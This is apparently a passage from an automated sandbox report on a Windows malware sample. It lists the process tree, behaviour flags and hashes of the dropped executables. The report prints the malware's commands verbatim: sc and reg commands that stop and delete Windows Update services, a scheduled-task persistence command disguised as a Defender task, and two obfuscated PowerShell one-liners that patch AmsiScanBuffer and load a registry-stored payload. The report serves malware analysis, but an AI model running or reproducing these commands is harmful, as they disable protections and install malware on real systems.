- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4700
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4784
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1836
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3024
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3196
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4956
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4568
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:648
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1036
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:5088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1bbf9dde-f855-4687-8d7b-4505ab2c9f25}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1492
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 5040 -ip 50401⤵PID:2404
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:QFMifZttGFxu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rIOQGXeODBdazm,[Parameter(Position=1)][Type]$fsRpbnrGpO)$kSmFkTeBiBV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+'ul'+'e'+'',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+'y'+'pe',''+[Char](67)+''+'l'+''+'a'+'ss,'+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+[Char](101)+'d,'+'A'+'ns'+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+'ss',[MulticastDelegate]);$kSmFkTeBiBV.DefineConstructor('RT'+[Char](83)+'p'+[Char](101)+'c'+[Char](105)+''+[Char](97)+'lNam'+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$rIOQGXeODBdazm).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+'d'+'');$kSmFkTeBiBV.DefineMethod(''+[Char](73)+''+'n'+'v'+'o'+'k'+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+'l',$fsRpbnrGpO,$rIOQGXeODBdazm).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $kSmFkTeBiBV.CreateType();}$BpiorubYgqdvK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+'r'+'os'+[Char](111)+'f'+'t'+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+'a'+''+[Char](102)+'e'+[Char](66)+''+[Char](112)+''+[Char](105)+'o'+[Char](114)+''+'u'+''+[Char](98)+''+[Char](89)+''+[Char](103)+''+[Char](113)+''+[Char](100)+''+'v'+''+[Char](75)+'');$ITcsuYlyehMOMK=$BpiorubYgqdvK.GetMethod(''+[Char](73)+''+[Char](84)+'cs'+'u'+''+[Char](89)+'lye'+[Char](104)+''+[Char](77)+''+[Char](79)+'MK',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RGEoNlkcyilmiRsdgQK=QFMifZttGFxu @([String])([IntPtr]);$EwJFAMdQDLvXMasIhbCezP=QFMifZttGFxu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bTSKXTohMQr=$BpiorubYgqdvK.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$kpfsfkesGhFjcq=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$bTSKXTohMQr,[Object]('L'+[Char](111)+'a'+'d'+''+'L'+''+[Char](105)+'b'+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$aHcxCciWDoPbkNHhy=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$bTSKXTohMQr,[Object](''+[Char](86)+'i'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+'t'+'')));$CYTzGwe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kpfsfkesGhFjcq,$RGEoNlkcyilmiRsdgQK).Invoke('ams'+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$sCYhomYZuyBpubIVM=$ITcsuYlyehMOMK.Invoke($Null,@([Object]$CYTzGwe,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+'c'+'a'+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$SBjpqfHyIi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHcxCciWDoPbkNHhy,$EwJFAMdQDLvXMasIhbCezP).Invoke($sCYhomYZuyBpubIVM,[uint32]8,4,[ref]$SBjpqfHyIi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$sCYhomYZuyBpubIVM,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aHcxCciWDoPbkNHhy,$EwJFAMdQDLvXMasIhbCezP).Invoke($sCYhomYZuyBpubIVM,[uint32]8,0x20,[ref]$SBjpqfHyIi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+'a'+[Char](108)+'er'+'s'+'t'+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wHMQCVJEWSSS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yxQbMcWLXRsaXX,[Parameter(Position=1)][Type]$EgFsRInjXv)$yUYtxEqXZas=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+'a'+''+[Char](116)+'eT'+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+','+'P'+''+'u'+'bl'+[Char](105)+''+'c'+''+','+''+'S'+''+'e'+'a'+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'Cl'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'o'+'C'+''+'l'+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$yUYtxEqXZas.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+'e'+'c'+[Char](105)+''+'a'+''+[Char](108)+'Nam'+[Char](101)+''+','+'H'+'i'+''+[Char](100)+''+'e'+''+[Char](66)+'y'+'S'+''+[Char](105)+'g'+','+'P'+'u'+''+'b'+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$yxQbMcWLXRsaXX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$yUYtxEqXZas.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+','+''+'H'+'i'+[Char](100)+''+[Char](101)+'By'+'S'+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+'w'+'S'+''+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$EgFsRInjXv,$yxQbMcWLXRsaXX).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $yUYtxEqXZas.CreateType();}$PiZWQLMOcksXO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+'nsa'+'f'+'e'+'P'+''+'i'+''+'Z'+''+[Char](87)+''+[Char](81)+''+[Char](76)+''+[Char](77)+''+'O'+''+[Char](99)+''+'k'+''+[Char](115)+''+'X'+'O');$NqzNTogrXSIprX=$PiZWQLMOcksXO.GetMethod(''+[Char](78)+''+[Char](113)+'z'+[Char](78)+''+'T'+''+[Char](111)+''+[Char](103)+''+'r'+''+'X'+''+[Char](83)+''+'I'+'p'+'r'+''+[Char](88)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+'t'+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lOMDStyQjIHfjesGLGd=wHMQCVJEWSSS @([String])([IntPtr]);$sXmxzmebqgMkngUfRkNGBo=wHMQCVJEWSSS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AsFAPcTUtiS=$PiZWQLMOcksXO.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'ll')));$qOtVvBvqIUSrGF=$NqzNTogrXSIprX.Invoke($Null,@([Object]$AsFAPcTUtiS,[Object](''+[Char](76)+''+[Char](111)+'ad'+[Char](76)+'i'+'b'+''+[Char](114)+'ar'+[Char](121)+''+[Char](65)+'')));$CPLhyfCebgRFqUeCN=$NqzNTogrXSIprX.Invoke($Null,@([Object]$AsFAPcTUtiS,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$pPjqyjb=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qOtVvBvqIUSrGF,$lOMDStyQjIHfjesGLGd).Invoke(''+'a'+'m'+[Char](115)+''+'i'+''+'.'+''+'d'+'l'+'l'+'');$VmpkfZozmETwzCAQZ=$NqzNTogrXSIprX.Invoke($Null,@([Object]$pPjqyjb,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$VLZJAQDCGH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CPLhyfCebgRFqUeCN,$sXmxzmebqgMkngUfRkNGBo).Invoke($VmpkfZozmETwzCAQZ,[uint32]8,4,[ref]$VLZJAQDCGH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VmpkfZozmETwzCAQZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CPLhyfCebgRFqUeCN,$sXmxzmebqgMkngUfRkNGBo).Invoke($VmpkfZozmETwzCAQZ,[uint32]8,0x20,[ref]$VLZJAQDCGH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue('di'+[Char](97)+''+'l'+''+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:520
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4724 -ip 47241⤵PID:1620
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 b6bf362dc74d67dee4772abc6e5ff61d21e3941b095b3a9936eecaa83b8025d4
- MD5 ee0ccccf1ba756213bda203d516469e2
- SHA1 ab346c4942ef88a49fd9abc7101acd21be608300
- SHA512 eb12d0ed4f670e2faf1a704a2e1e23540f1265437796c367bfb4087faa7743ffa6c61a80125f958f86cfe8da81187e219b12fe89a55df24c486c4273e8de3d61
- SSDEEP 384:1sf++8v9i+27865WOBd6uYLkbRo9o2TVK6seY+p7/PNA3So3A4X3l7FazCvrQ0gl:qfgyVWOCpkeo2TVNxtYSiF7IzCnnLo
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
- MD5 a7ce8cefc3f798abe5abd683d0ef26dd
- SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
- SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 674KB
- SHA256 b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
- MD5 e479ecb1802253a4c94767c8af306baf
- SHA1 846bb5d88b91b8aa17bdb58eaf246b10e6586402
- SHA512 b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
- SSDEEP 12288:oaJgK1tLmGHin0opYrSjE35nLxygIsCPYOq9N0T02rxu/3igTXv3V7OoiBK3+szg:oaJgKTLmGHinqZygIfPYOq9R8yDwoiBT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 674KB
- SHA256 b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
- MD5 e479ecb1802253a4c94767c8af306baf
- SHA1 846bb5d88b91b8aa17bdb58eaf246b10e6586402
- SHA512 b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373
- SSDEEP 12288:oaJgK1tLmGHin0opYrSjE35nLxygIsCPYOq9N0T02rxu/3igTXv3V7OoiBK3+szg:oaJgKTLmGHinqZygIfPYOq9R8yDwoiBT
- MD5 SHA1 SHA512 SSDEEP